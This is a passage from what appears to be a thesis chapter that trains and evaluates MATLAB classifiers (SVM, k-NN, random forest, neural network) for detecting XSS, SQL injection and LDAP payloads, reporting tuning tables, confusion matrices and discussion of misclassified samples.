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Both types of kernel were used for classifying payloads in terms of whether they
were malicious or benign. They were employed primarily to detect XSS attacks,
but also, SQL-i, and LDAP payloads. These classifiers were constructed via the






The above two items of code resulted in the creation of two SVM classifiers, one
with a linear kernel and the other with a polynomial kernel.
4.3.3 k-Nearest Neighbours Classifier
K-NN is an algorithm which classifies new data according to which already-seen
instance is nearest in terms of the feature space. This method can be used both for
classification and regression [5]. k-NN aims to investigate the similarity between
new input and instances of the training data by measuring the distance between new
inputs and training instances [99]. k-NN classifies new data into the most common
class found among its closest (in terms of the feature space) neighbours. Here, the
method has been used to classify inputs data as being either malicious or benign
- in order to detect XSS, SQL-i, and LDAP payloads. The reason for choosing
k-NN is that it performs a test to check the degree of similarity between the new
instances and the training data that to store an amount of classified data [99]. In
this study, the model will classify instances of either malicious or benign, which are
nearest to the training space. To classify the unknown instances, k-NN measures the
distance between an unknown instance and the nearest training instance, where the
classification is based upon the majority vote of neighbour.
The k-NN classifier was tuned by adjusting k, the number of neighbours examined
for each classification. In order to find the best value for the "NumNeighbours"
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parameter, the "OptimizeHyperparameters" function was applied; this optimisation





The value returned by this auto optimisation of the "NumNeighbours" parameter
was 1, where the criterion used was to achieve the lowest misclassification rate. That
attained was a 0.0057 misclassification rate, and the reason for this rate is that some
malicious payloads can be singletons, and a higher value for the "NumNeighbours"
parameter led to higher misclassification rates. Table 4.2 shows the loss value
(misclassification rate) of the k-NN classifier when "NumNeighbours" parameter
changes. This is to ensure that the best value of the "NumNeighbours" parameter for
the classifier is 1.







Table 4.2 Misclassification Rate of k-NN Classifier
Thus, k-NN was tuned by setting the NumNeighbours parameter to 1. It was
built, employing the "fitcknn" function, as follows:
KNNModel = fitcknn (ScTBL,ScResponseVarName, 'NumNeighbours', 1);
On execution of the above code, a k-NN classifier was created for the purpose of
classifying new data as either malicious or benign.
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4.3.4 Random Forest Classifier
Random forest is a supervised classification algorithm that combines a number
of tree-based predictors; each tree is built according to random values, which are
independently sampled. Moreover, all the trees have the same distribution in the
forest. In a random forest classifier, more trees lead to more accurate results [1], and
such a classifier can be used both for classification and regression. Here, the random
forest classifier was used to distinguish between XSS, SQL-i, and LDAP attacks
and benign payloads. The random forest was chosen as the model for classifying
payloads as either malicious or benign, due to its ability to handle binary, categorical,
and numerical features. Moreover, the XSS dataset has a high dimension and the
random forest can work with a subset of the features, so it is able to work with
hundreds of features at once. In addition, the random forest handles outliers by
essentially ignoring them. Also, random forest tries to minimise the overall error rate
[100]. For these reasons, the random forest was chosen with the aim of achieving a
high accuracy rate.
There are two parameters which are necessary to set to build a random forest
classifier; these are the number of trees and the method. The method parameter
was, in effect, optimised by setting its value to be "classification", and the number
of trees parameter was tuned by setting it to an initial value, then calculating the
misclassification yielded by a test run, then incrementing the value and testing again.
The best, i.e., lowest, rate of misclassification achieved was then taken into account
along with the taken time for model creation – in relation to the choice of this
parameter’s value. Table 4.3 shows the results yielded when various values of the
parameter were applied.
Number of Trees Misclassification Rate Number of Trees Misclassification Rate
10 0.0540 60 0.0137
20 0.0306 70 0.0125
30 0.0224 80 0.0116
40 0.0182 90 0.0108
50 0.0155 100 0.0102
Table 4.3 Number of Trees Optimisation
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Table 4.3 shows that the misclassification rate decreases as the number of trees
in the classifier increases. However, the random forest classifier was optimised by
setting the number of trees only to 70. The reason for choosing this value 70 was
that the decreases in misclassification were not large beyond this point, but the time
taken to create the classifier did start to increase significantly. The "TreeBagger"
function that is a built-in to MatLab was used to build the model, as follows:
RFModel = TreeBagger(70,ScTBL,ScResponseVarName,'Method',...
'classification');
On execution of the above code, the random forest classifier to be used to detect
XSS attacks, and also SQL and LDAP injections, was created.
4.3.5 Neural Network Classifier
Neural networks (NN) are organized in layers. Layers consist of a set of inter-
connected nodes, each of which contains an activation function. The patterns are
presented to the first layer (the input layer) which is connected to one or more of the
hidden layers where the processing is done. The hidden layers are linked to the output
layer, which is the layer that produces the result [65]. A neural network classifier has
been used here to distinguish between malicious and benign payloads – in terms of
attacks against web applications. The reason for choosing a neural network model is
its ability to learn and model non-linear and complex relationships, as is the case in
the XSS dataset. Additionally, neural networks have the ability to generalise – after
learning from the initial inputs where they can infer unseen relationships on unseen
data as well, which gives a high prediction result. Furthermore, neural network
does not impose any restrictions on the input data, such as how it is distributed, due
to its ability to learn hidden relationships even if the data is of high volatility and
non-constant variance [119]. These reasons make the neural network classifier one
of the classifiers chosen for classifying payloads, with the aim of achieving a high
accuracy rate.
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For this purpose, a Feed Forward Neural Network classifier with a single hidden
layer was created via the adjustment of two parameters: the number of hidden
neurons within the hidden layer and the training function parameter. The hidden
neurons exist to formulate the output by applying a function (known as the activation
function) on the inputs [142]. The purpose of the training function is to adjust the
weight and bias values applied. In order to determine appropriate values for the above
the parameters, the classifier’s performance was evaluated using a loss function. The
classifier performance was investigated by increasing the number of neurons within
the hidden layer and testing with the various type of learning function available.
Table 4.4 shows the results, in terms of misclassifications, for each training function
and each value for the number of neurons in the hidden layer.
1 2 5 10 20
trainlm 0.0078 0.0064 0.0025 0.0023 0.0023
trainbr 0.0066 0.0038 0.0024 0.0010 8.7814e-04
trainbfg 0.0569 0.0644 0.0263 0.0208 0.0195
trainrp 0.0513 0.0352 0.0311 0.0177 0.0137
trainscg 0.0450 0.0322 0.0244 0.0130 0.0122
traincgb 0.0509 0.0455 0.0609 .0243 0.0137
traincgf 0.0476 0.0516 0.0243 0.0187 0.0199
traincgp 0.0458 0.0477 0.0586 0.0111 0.0202
trainoss 0.5826 0.0455 0.0305 0.0177 0.0173
traingdx 0.0452 0.0407 0.0235 0.0158 0.3341
traingdm 0.0955 0.1279 0.0855 0.0710 0.3342
traingd 0.0938 0.0913 0.0854 0.0709 0.0730
Table 4.4 Optimising Neural Network Classifier
Looking at the values shown in this table, it could be seen that the optimal number
of hidden neurons was 10; when 20 neurons were used it took a very much longer
time to create the model. The train function was set to be “trainbr”; this function
applies a Bayesian regularisation in order to minimize a combination of squared
errors and weights. “trainbr” achieved the best results as compared to the other
training functions available. The "patternnet" function, which is a MatLab built-in,
was used to create the net on the basis of which the model was trained. Then, the
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created network was used as the basis of a model trained by employing the "train"
function as follows:
net = patternnet(10, 'trainbr');
NNModel = train(net,TBL2,ResponseVarName2);
As has been mentioned, the outputs of the neural network classifier are real
values, but the classes are represented by using simply (0, 1). For this purpose, the
rounding function "round" was used to convert the classifier output to (0, 1) values.
Then, these values were used to distinguish between malicious or benign inputs to
the classifiers which were to distinguish between XSS, SQL and LDAP injections.
4.4 Evaluation Methods
An evaluation of the models was performed in order to determine the effectiveness of
differing classifiers in relation to verifying the hypothesis regarding the performance
of these once they have been trained. The methods used to evaluate the models’
performances were cross validation and holdout.
4.4.1 Cross Validation
Cross validation is a model evaluation method which involves dividing the training
dataset into two parts; the first part is used to train the model and the other is used to
test the model. The most common specific technique in this regard is k-fold cross
validation whereby the training dataset is divided into k (in this case, five) subsets,
(k-1) of these are used for training and the remaining (1) is used for testing; this
latter process is repeated k times, and each time, a different subset is used for testing
and the rest of the subsets (k-1) are used for training. Then, the average error is
calculated for all the results relating to all the subsets [175]. In this work, Five-fold
cross validation (k=5) has been used to evaluate the classifiers performance.
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4.4.2 Holdout
Holdout evaluation is intended to provide an unbiased classifier performance evalua-
tion via the testing of the model on data from that on which it has not been trained.
The technique is based on the use of two datasets: the first is used to train the model,
the second is used to test the model, and there are no overlaps between the two
datasets [171].
4.4.3 Measurement Criteria
The classifiers’ performance was measured and analysed, via the results obtained
from the evaluation methods mentioned above, by using the confusion matrix tech-
nique as demonstrated in Table 4.5. This table provides a breakdown of both the



















Table 4.5 Confusion Matrix
Where:
(TP) indicates that the classifier has classified malicious payloads as malicious.
(FP) indicates that the classifier classified malicious payloads as benign.
(FN) indicates that the classifier classifies the benign payload as malicious.
(TN) indicates that the classifier classified benign payloads as benign.
It is worth noting that, this study aims to avoid increasing false alarms, as it is a
disadvantage of using the machine learning approach. False positive is considered a
false alarm in this study which is a threat to web application security. This means that
the classifier has classified a malicious payload as a benign payload, which allows
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the malicious payload to be stored in the web application database. This condition is
a high risk for the web application. On the contrary, false negative, which a benign
payload is classified as a malicious payload, this condition may cause an application
to not work well, as the benign payload will be quarantined and not allowed to be
stored in the web application database. This condition causes weaknesses in the
operation of the application, but in terms of security, it is more secure and does not
cause a threat to the web application.
The effectiveness measurement criteria as dependent on the accuracy rate, the
precision (or detection rate), the sensitivity (true-positive rate), and the specificity
(true- negative rate).
4.4.3.1 Accuracy
The ratio of data points correctly predicted in relation to the number of data points
overall. More formally, this value is defined as the number of true-positives plus the
number of true-negatives divided by the sum total of the data points. For example,
the many of the classifiers applied here can be measured according to whether they
classified malicious payloads as malicious and benign payloads as benign. The
following equation shows how accuracy can be calculated [144].
Accuracy =
T P+T N
T P+T N +FP+FN
4.4.3.2 Precision
Precision refers to a classifier’s ability to classify correctly, and can be defined as the
ratio of the number of true positives to the number of true positives plus the number
of false positives. Thus, if there are only true positives, but no false positives, then
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4.4.3.3 Sensitivity
This is also known as the True Positives Rate (TPR), and measures correct prediction
– the number of instances which fall into the first category here (malicious), and are
classified as such. This ratio measures the degree to which, in this case, malicious
payloads are actually classified as malicious. To calculate this, first a confusion
matrix is used to obtain the necessary information concerning true and false positives
and negatives; Sensitivity can then be calculated by taking the number of true






This is known as the True Negatives Rate (TNR); it measures correct prediction
but falls into the second-class category. This ratio measures the degree to which a
classifier classifies (for instance) benign payloads as a benign [220]. Specificity is
calculated by taking the number of true negatives and dividing this by the number of
false positives plus the number of true negatives.
Speci f icity(T NR) =
T N
T N +FP
All of these criteria were applied here to the evaluation of the effectiveness of
the classifiers, and the following section illustrates the results of this evaluation of
the classifiers - using the cross validation and holdout methods.
4.5 Initial Results
This section will discuss the purpose of using the classifiers evaluated within this
work. Furthermore, the initial results yielded by the classifiers will be reviewed
in order to demonstrate the verification of the performance of the classifiers via
the evaluation methods applied. The aim of this analysis of initial results was
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to form the basis for a comparison with the results yielded by the approaches
which were then used to increase the performance of the classifiers employed for
distinguishing between malicious and benign payloads. The experiments will be
performed on a single desktop computer (HP - EliteDesk) with the specifications
listed in Table 4.5. All experiments will be conducted using MatLab 2018b, the
reason for choosing this programming language is that the basic element used is
the matrix, where it allows operations to be performed without the use of loops
unlike other programming languages. In addition, one of the advantages of MatLab
is that it includes functions such as an Excel link, which allows dealing with Excel
files. Additionally, there are many classifiers built in MatLab such as Decision Trees,
Logistic Regression, Discriminant Analysis, Nearest Neighbour, and Support Vector
Machines. Furthermore, MatLab contains libraries that help in creating models and
analyses such as Simulink, Compiler SDK, Report Generator, Statistics and Machine
Learning Toolbox and Text Analytics Toolbox.
Processer Intl(R) Core(TM) i5-4590s CPU @ 3.00Ghz, 3001 Mhz, 4Core(s), 4 Logical Processer
RAM DDR3 4.00GB, 1600Mhz
Hard Disk 500 GB NTFS File System
GPU Intl(R) HD Graphics 4600
OS Windows 10 Pro 64-bit
Table 4.6 Computer Specifications
4.5.1 Text Classifier
Section 4.3.1 shows the construction of the decision tree classifier which was used
for analysing the data input into the web application and classifying the instances
according to whether they were normal text or payload. A text dataset was used
to test the classifier, and Table 3.10 listed the features that were employed by the
classifier. Table 4.7 presents the evaluation results obtained from the five-fold cross
validation process; these showed that the classifier was able to distinguish between
normal text and payloads with high-accuracy up to 99.96%. Four out of five folds
of the models yielded a 100% accuracy while the other fold yielded 99.83%. The
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confusion matrices provide the detail of the classification by listing the number of
instances that have been correctly and incorrectly classified.
Fold No. Accuracy Precision Sensitivity Specificity Confusion Matrix
Text Payload
1st 100 100 100 100 Text 617 0
Payload 0 583
Text Payload
2nd 100 100 100 100 Text 602 0
Payload 0 597
Text Payload
3rd 100 100 100 100 Text 597 0
Payload 0 603
Text Payload
4th 100 100 100 100 Text 603 0
Payload 0 597
Text Payload
5th 99.83 99.82 99.82 99.83 Text 582 1
Payload 1 616
Average 99.96 99.96 99.96 99.96
Table 4.7 Text Classifier Cross Validation
Table 4.7 shows the confusion matrix; in the fifth fold there were two misclas-
sifications: one text classified as payload and the other a payload classified as text.
After investigating the training data subset used for this fold, it was found that the
instance that was misclassified as a script had a greater than usual preponderance
of numbers (digits) in addition to a greater than usual percentage of commas. The
instance which was misclassified as a benign text was notable in that it did not
contain a number of features which are very common in scripts, such as commas,
mathematical operations, and quotation marks. The reason for the appearance of
these misclassifications in the fifth fold is possibly a lack of examples of similar
instances in the other (previous) training folds.
To conduct the holdout evaluation, the entire training dataset was used to train
the classifier and then this was tested on the testing dataset.
Table 4.8 illustrates the evaluation results yielded by the use of the holdout
method; the classifier achieved a very high accuracy rate in terms of distinguishing
between normal text and payloads up to 99.96%. In contrast, there were only two
cases of false positives. From the confusion matrix it can be observed that these
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Accuracy Precision Sensitivity Specificity Confusion Matrix
Text Payload
99.96 99.93 100 99.93 Text 2998 2
Payload 0 3000
Table 4.8 Text Classifier Performance
two instances were in fact texts but were classified as payload. This, from a security
perspective is not critical, and after checking the instances which were misclassified,
it was found that they contained Arabic and Chinese characters, which in this context
were incomprehensible. These unusual byte values were the reason these texts were
considered as payloads.
4.5.2 Cross-Site Scripting Classifiers
A number of different classifiers were used to classify inputs according to whether
they were XSS attacks or benign payloads. The XSS training dataset described in
section 3.3.1 was used to conduct the cross validation evaluation, and the testing
dataset was used for the evaluation of all of the classifiers using the holdout method.
The following classifiers have been subject to evaluation here: Support Vector
Machine, k-Nearest Neighbour, Random Forest, and Neural Network. The features
that were used to train these classifiers so that they could then detect malicious XSS
payloads include both non-alphanumeric and alphanumeric features – as listed are
listed in the tables 3.6, 3.7, and 3.8. A total of 65 features were used to train the
models.
4.5.2.1 Support Vector Machine - Linear Kernel Classifier
The classifier that was described in section 4.3.2 was utilized to distinguish between
XSS payloads and benign payloads within input data. A support vector machine
with a linear kernel was evaluated via the five-fold cross validation method and the
holdout method. For the holdout evaluation, the classifier had been trained using the
entire training dataset. Tables 4.9 and 4.10 present the evaluation results.
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Fold No. Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
1st 98.82 97.23 98.45 98.96 Malicious 1018 29
Benign 16 2762
Malicious Benign
2nd 98.77 96.64 98.82 98.75 Malicious 1008 35
Benign 12 2770
Malicious Benign
3rd 99.00 97.39 98.92 99.03 Malicious 1009 27
Benign 11 2778
Malicious Benign
4th 98.87 96.87 98.76 98.91 Malicious 961 31
Benign 12 2821
Malicious Benign
5th 98.71 96.71 98.52 98.78 Malicious 1001 34
Benign 15 2775
Average 98.83 96.97 98.69 98.89
Table 4.9 XSS Support Vector Machine-Linear Cross Validation
Table 4.9 shows the five cross validation results. This classifier achieved an
average accuracy 98.83% in the detection of malicious payloads and an average
precision rate up to 96.97%. As can be seen from these results, the classifier was
able to divide the space linearly into two sections, each one containing a class. From
the confusion matrices derived from all the folds, it can be observed that there
are a number of misclassifications in terms of distinguishing between the types of
instances. From a security perspective, the focus is mostly on the occurrence of false
positives which indicate that malicious instances have been classified as benign. Such
misclassifications can lead to an attack against a web application being successful.
Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
99.82 99.89 99.69 99.92 Malicious 9989 11
Benign 31 14065
Table 4.10 XSS Support Vector Machine-Linear Kernel Classifier Performance
Table 4.10 shows the classifier performance when evaluated using the holdout
method, in relation to the simulation of a real world attack. The classifier achieved
accuracies 99.82% and a precision 99.89%, and it can be observed from the results
increased accuracy and precision rates were yielded when the classifier was trained
using the entire training dataset. This is due to the comprehensiveness of the training
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dataset in terms of multiple types of XSS attacks - as some instances are unique.
Moreover, from the confusion matrix it can be noted that the false positive number
has improved (i.e., reduced) and is consequently less than was yielded by any fold in
the cross validation evaluation.
4.5.2.2 Support Vector Machine - Polynomial Kernel Classifier
The classifier, the construction of which was shown in section 4.3.2, which utilized
a polynomial kernel was employed to distinguish between malicious and benign
instances. The classifier was trained and evaluated by applying five-fold cross
validation with respect to the training dataset; in addition, the testing dataset was
used for an evaluation employing the holdout method. The tables 4.11 and 4.12
present the results of these evaluations and details concerning the quality of the
classifications are presented in that table in terms of confusion matrices.
Fold No. Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
1st 99.24 98.47 98.75 99.42 Malicious 1031 16
Benign 13 2765
Malicious Benign
2nd 99.11 97.31 99.41 99.00 Malicious 1015 28
Benign 6 2776
Malicious Benign
3rd 99.45 98.84 99.12 99.57 Malicious 1024 12
Benign 9 2780
Malicious Benign
4th 98.98 97.78 98.27 99.22 Malicious 970 22
Benign 17 2816
Malicious Benign
5th 99.32 98.93 98.55 99.60 Malicious 1024 11
Benign 15 2775
Average 99.22 98.26 98.82 99.36
Table 4.11 XSS Support Vector Machine-Polynomial Kernel Cross Validation
Table 4.11 illustrates the results of the five-fold cross validation of the support
vector machine with a polynomial kernel; this achieved an average accuracy rate of
99.22% and an average precision rate of up to 98.26%. From the results it can be
observed that the classifier was able to map inputs to the classes in the feature space
in a very proficient manner, as most of the folds yielded accuracies of more than 99%.
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Moreover, the confusion matrices show that the number of false positives across all
the folds were low compared to the commensurate results yielded by the support
vector machine with a linear kernel. This is because the polynomial algorithm can
distinguish between the classes even when there is some noise in the training dataset.
Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
99.57 99.16 99.80 99.40 Malicious 9916 84
Benign 19 14077
Table 4.12 XSS Support Vector Machine-Polynomial Kernel Classifier Performance
Table 4.12 shows the holdout evaluation of this classifier; with respect to this,
the classifier achieved accuracy rates 99.57% and precisions 99.16%. From the
results it can be observed that the classifier has the ability to distinguish malicious
instances from benign instances with great accuracy. Also, from the confusion matrix
it can be seen that the classifier exhibits a weak classification of malicious instances
since the false positive rate is high compared to that of the classifier with a linear
kernel. Such a result could be considered to represent a risk to web applications.
Furthermore, it may be noted that the accuracy of the classifier with a linear kernel
can be characterized as better in relation to the fact that the focus is on obtaining the
lowest possible number of false positives.
Misclassification can be seen in the holdout evaluation and this is significant
because this evaluation mimics an attack against a web application. The holdout
evaluation required that the instances which were incorrectly classified should be
examined. It was noticed that some of the misclassifications occurred because the
scripts involved were too short, containing only a message to be presented to the user,
or because there were no explicit JavaScript commands within the payload. However,
in addition, it was noted that some misclassifications occurred in relation to longer
scripts that did not have a sufficient number of features. For example, a script which
took a screen shot from the user’s browser, was quite long and contained text that
was not obfuscated, so when features were extracted from it, these were found to be
similar to those of a normal text.
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4.5.2.3 k-Nearest Neighbours Classifier
The classifier whose construction is shown in section 4.3.3 was used to determine
between malicious and benign payloads and its performance with regard to this,
evaluated. A five-fold cross validation was conducted in order to confirm the ef-
fectiveness of the classifier in relation to the training dataset. Table 4.13 shows
the results of the five-fold cross validation and Table 4.14 shows the results of the
holdout evaluation. The latter used the full training dataset to train the classifier and
then the testing dataset to evaluate the classifier’s subsequent performance.
Fold No. Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
1st 99.37 99.04 98.66 99.63 Malicious 1037 10
Benign 14 2764
Malicious Benign
2nd 99.47 98.94 99.13 99.60 Malicious 1032 11
Benign 9 2773
Malicious Benign
3rd 99.73 98.64 99.03 99.49 Malicious 1022 14
Benign 10 2779
Malicious Benign
4th 99.39 99.29 98.40 99.75 Malicious 985 7
Benign 16 2817
Malicious Benign
5th 99.42 99.03 98.84 99.64 Malicious 1025 10
Benign 12 2778
Average 99.47 98.98 98.81 99.62
Table 4.13 XSS k-Nearest Neighbours Cross Validation
Table 4.13 shows the results of the five-fold cross validation evaluation in relation
to this classifier. As can be seen, it achieved an average accuracy 99.47% and an
average precision 98.98%. This demonstrates the classifier’s efficacy in terms of
detecting malicious XSS payloads. Moreover, the confusion matrix shows that the
number of malicious instances that are classified as benign is few compared to the
commensurate number yielded by the support vector machine classifier.
Table 4.14 illustrates the results of testing the classifier’s performance in relation
to examples of real-world attacks. In fact, this classifier exhibited greater effec-
tiveness than the previously discussed classifiers in terms of detecting malicious
payloads. The k-NN classifier achieved accuracy rates of up to 99.90% and precision,
121
Classifiers and Initial Results
Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
99.90 99.94 99.84 99.95 Malicious 9994 6
Benign 16 14080
Table 4.14 XSS k-Nearest Neighbours Classifier Performance
or in other words detection, rates up to 99.94%. The confusion matrices show the
classification details, and it should be noted that the number of false positives was
lower when using the k-NN classifier. From a security perspective, this lower number
of false positives is excellent as it means that almost all the malicious instances were
correctly classified.
When looking at the instances that were misclassified it appeared that 5 instances
were actually benign but mis-labelled (as malicious), but the last case was one which
redirected the browser to another site which was likely to be under the control of the
attacker – and so was a malicious script labelled as benign.
4.5.2.4 Random Forest Classifier
The construction of this classifier was shown in Section 4.3.4. It was applied to the
problem of differentiating between malicious and benign payloads. Five-fold cross
validation was used to evaluate this classifier. Table 4.15 lists the results yielded by
each fold, as well as the average of the results across all the folds. Table 4.16 shows
the result of the holdout evaluation.
Table 4.15 presents the results of the five-fold cross validation, and from this it
can be seen that the random forest classifier achieved a 99.52% average accuracy
rate and a 98.73% average precision rate. These results demonstrate the ability of the
random forest classifier to distinguish between malicious and benign payloads with
high rates of accuracy. From the confusion matrices representing all of the folds, it
can be seen that there are a few instances of false positives, and in terms of security,
this represents a potential risk to web applications.
Table 4.16 shows the performance of the classifier in relation to data simulating
the occurrence of a real world attack, where the entire training dataset was used to
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Fold No. Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
1st 99.45 98.75 99.23 99.53 Malicious 1034 13
Benign 8 2770
Malicious Benign
2nd 99.60 98.94 99.61 99.60 Malicious 1032 11
Benign 4 2778
Malicious Benign
3rd 99.50 97.74 99.41 99.53 Malicious 1023 13
Benign 6 2783
Malicious Benign
4th 99.60 98.89 99.59 99.61 Malicious 981 11
Benign 4 2829
Malicious Benign
5th 99.45 98.35 99.60 99.39 Malicious 1018 17
Benign 4 2786
Average 99.52 98.73 99.49 99.53
Table 4.15 XSS Random Forest Cross Validation
Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
99.93 99.96 99.89 99.97 Malicious 9996 4
Benign 11 14085
Table 4.16 XSS Random Forest Classifier Performance
train the classifier and the entire testing dataset was used to verify the classifier’s
performance. The classifier, once trained, achieved an accuracy rate 99.93% and
a 99.96% precision rate. The random forest classifier achieved the best accuracy
among all the classifiers and this may be put down to the fact that the method entails
the use of a group of trees to classify instances and the result is then determined
based on the classification made by the largest number of these trees.
The confusion matrix (from the holdout evaluation) details the nature of the
classifications made, and in particular the number of misclassified instances. After
examining the malicious instances that were classified as benign it could be seen that
the instances were short and simply contained redirections to others sites using IP
addresses.
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4.5.2.5 Neural Network Classifier
The construction of the neural network classifier was shown in Section 4.3.5, and
this was also evaluated in relation to its effectiveness in detecting XSS attacks. The
five-fold cross validation method was used to evaluate the classifier, and Table 4.17
shows the results and the averages yielded by these folds. Table 4.18 presents the
classifier’s performance results, where the classifier was trained using full training
dataset then tested using the testing dataset.
Fold No. Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
1st 99.37 98.91 98.71 99.60 Malicious 999 11
Benign 13 2801
Malicious Benign
2nd 99.26 98.55 98.74 99.46 Malicious 1025 15
Benign 13 2771
Malicious Benign
3rd 99.18 98.28 98.75 99.35 Malicious 1034 18
Benign 13 2760
Malicious Benign
4th 99.42 98.91 98.91 99.60 Malicious 1006 11
Benign 11 2797
Malicious Benign
5th 99.11 98.54 98.16 99.46 Malicious 1017 15
Benign 19 2774
Average 99.26 98.63 98.65 99.49
Table 4.17 XSS Neural Network Cross Validation
Table 4.17 shows the results of the five-fold cross validation evaluation with
regard to this classifier; the classifier achieved average accuracy rates 99.26% and
average precision rates 98.63%. This demonstrates the classifier’s ability to classify
payloads as either malicious or benign. It is noticeable from the confusion matrices
that the number of false positive instances is small, and so in these terms the classifier
classified the instances very well. From a security perspective, there remains a small
risk that some attacks may be passed to the web application.
Table 4.18 presents the results yielded by evaluating this classifier using the
holdout method; it achieved an accuracy rate of 99.86% and a precision rate of
99.90%. The confusion matrix shows that the misclassification instances were few
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Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
99.86 99.90 99.78 99.92 Malicious 9986 10
Benign 22 14074
Table 4.18 XSS Neural Network Classifier Performance
compared to the total number of instances, which indicates the effectiveness of the
classifier in detecting malicious payloads.
When reviewing the testing dataset to see which instances were incorrectly
classified, it was noticed that the misclassification occurred because the scripts
involved did not contain enough features and in addition they were relatively short.
Most of these instances redirected to another site using an IP address.
4.5.2.6 Discussion
Though a similar study to this one has been published under the title "Detecting
Cross-Site Scripting Attacks Using Machine Learning" [130]. There are differences
between these two studies. The most important of these is that this study includes
the neural network classifier which [130] did not. Furthermore, sixty-five features
have been used in this study and [130] used only fifty-nine features. Similar methods
were employed for extracting the features in both studies since all the features were
represented as Boolean values. The results of the classifiers which are included in
both studies - SVM with linear and polynomial kernels, k-NN, and RF - are better in
this study than in [130].
This section represents the core of this thesis wherein classifiers were evaluated
in relation to detecting XSS attacks against web applications - the focus of the
thesis. By reviewing the results relating to the various classifiers performance, it
can be observed that all the classifiers achieved good results in terms of identifying
malicious payloads. In order to select the best classifier, several factors must be taken
into account, the most important of which is the accuracy and precision because
these measurements determine the effectiveness of the classifier. The Random Forest
classifier achieved the best results among all classifiers with a 99.93% accuracy
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and 99.96% precision. Moreover, the number of false positives was lower with this
classifier than with all the others, and most of the misclassifications which it yielded
were due to the length of the script.
The misclassifications returned by all the classifiers were found to be limited in
terms that only a small number of factors seem to have caused them. First, some short
scripts which were classified as benign were found to contain a redirection using an
IP address – of an attack site. In addition, some long scripts were misclassification
because they did not contain enough features (as far as the classifiers were concerned).
And furthermore, some instances were incorrectly labelled in the testing dataset.
Some suggestions for overcoming such misclassifications include the addition of
new features, such as the length of the script. Moreover, the testing dataset should be
examined in order to make sure there are no incorrect labels.
4.5.3 SQL-i Classifiers
The datasets the collation of which were shown in Section 3.3.2 were used to train
and evaluate the classifiers for this purpose. The same optimizations as were used
for the task of distinguishing between XSS and benign payloads were applied to
this task, discussed here, of distinguishing between SQL injections and benign
payloads. The reason for using the same optimisations is that this study focuses
on XSS attacks, but there is also a desire to investigate some types of injections in
terms of discovering the effectiveness of the classifiers with regard to them. All
the classifier types so far tested in this present study were employed also for this
second task. The features that were used to train the classifiers are listed in Table 3.6;
these include non-alphanumeric features in addition to the features listed in Table 3.9
which include most of the SQL command keywords that may be used in such attacks;
the total number of features is 49. Evaluations of the classifiers will be conducted
using both cross validation and holdout methods.
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4.5.3.1 Support Vector Machine - Linear Kernel Classifier
The SVM classifier was created with a linear kernel and then trained to distinguish
between SQL injections and benign payloads. It was evaluated using the five-fold
cross validation method. Table 4.19 presents the evaluation results, and Table 4.20
shows the classifier performance measures.
Fold No. Accuracy Precision Sensitivity Specificity Confusion Matrix
SQL-i Benign
1st 99.72 99.29 99.92 99.61 SQL-i 1407 10
Benign 1 2603
SQL-i Benign
2nd 99.85 99.72 99.86 99.84 SQL-i 1466 4
Benign 2 2549
SQL-i Benign
3rd 99.73 99.29 100 99.61 SQL-i 1404 10
Benign 0 2607
SQL-i Benign
4th 99.85 99.59 100 99.76 SQL-i 1459 6
Benign 0 2556
SQL-i Benign
5th 99.87 99.72 99.93 99.84 SQL-i 1465 4
Benign 1 2551
Average 99.81 99.52 99.94 99.73
Table 4.19 SQL-i Support Vector Machine-Liner Kernel Cross Validation
Table 4.19 shows that the average accuracy rate is 99.81% with a 99.52% average
precision rate. These results demonstrate the ability of the classifier to distinguish
between SQL injection and other payloads with high accuracy. The confusion
matrices show the number of instances correctly, and the number of instances
incorrectly, classified. It can be seen that the number of false positive instances is
higher than the number of false negatives. In terms of security this can be considered
to represent a potential risk to web applications since SQL injections may be allowed
to be passed.
Table 4.20 shows the results of the holdout validation with respect to this classifier
which achieved a 99.77% accuracy rate, and a 99.36% precision rate. The number of
instances that were classified is shown in the confusion matrix; this demonstrates that
the number of misclassifications was high. In terms of security, these results were
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Accuracy Precision Sensitivity Specificity Confusion Matrix
SQL-i Benign
99.77 99.36 100 99.64 SQL-i 3594 23
Benign 0 6433
Table 4.20 SQL-i Support Vector Machine-Liner Kernel Classifier Performance
totally unacceptable as the classifier allowed the passage of SQL injections - even
though the number of these was small compared to the total number of malicious
instances. After reviewing the misclassified instances, it was noted that they were
all very short and did not contain a sufficient number of features (to trigger correct
classification) - especially non-alphanumeric features.
4.5.3.2 Support Vector Machine - Polynomial Kernel Classifier
For the same purpose, an SVM classifier was created using a polynomial kernel. A
five-fold cross validation method was then used to evaluate the classifier. Table 4.21
presents the results of this five-fold cross validation evaluation, and Table 4.22 shows
the results of the holdout evaluation which was also applied.
Fold No. Accuracy Precision Sensitivity Specificity Confusion Matrix
SQL-i Benign
1st 99.82 99.51 100 99.73 SQL-i 1425 7
Benign 0 2589
SQL-i Benign
2nd 99.92 99.79 100 99.88 SQL-i 1453 3
Benign 0 2565
SQL-i Benign
3rd 99.77 99.44 99.93 99.69 SQL-i 1436 8
Benign 1 2576
SQL-i Benign
4th 99.70 99.38 99.79 99.64 SQL-i 1454 9
Benign 3 2555
SQL-i Benign
5th 99.85 99.58 100 99.76 SQL-i 1434 6
Benign 0 2581
Average 99.81 99.54 99.94 99.74
Table 4.21 SQL-i Support Vector Machine-Polynomial Kernel Cross Validation
Table 4.21 demonstrates that the classifier achieved an average accuracy rate of
99.81% and an average precision of 99.54%. Using a polynomial kernel, as can
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easily be observed, yielded almost the same results as using a linear kernel in terms
of precision rates. The confusion matrices show the number of instances of correct
and incorrect classification returned in the course of the evaluation of the classifier. It
can be noted from the confusion matrices that the number of false positives returned
was greater than the number of false negatives; this would be a significant issue if
the classifier were to be used to protect web applications.
Accuracy Precision Sensitivity Specificity Confusion Matrix
SQL-i Benign
99.82 99.50 100 99.72 SQL-i 3599 18
Benign 0 6433
Table 4.22 SQL-i Support Vector Machine-Polynomial Kernel Classifier Performance
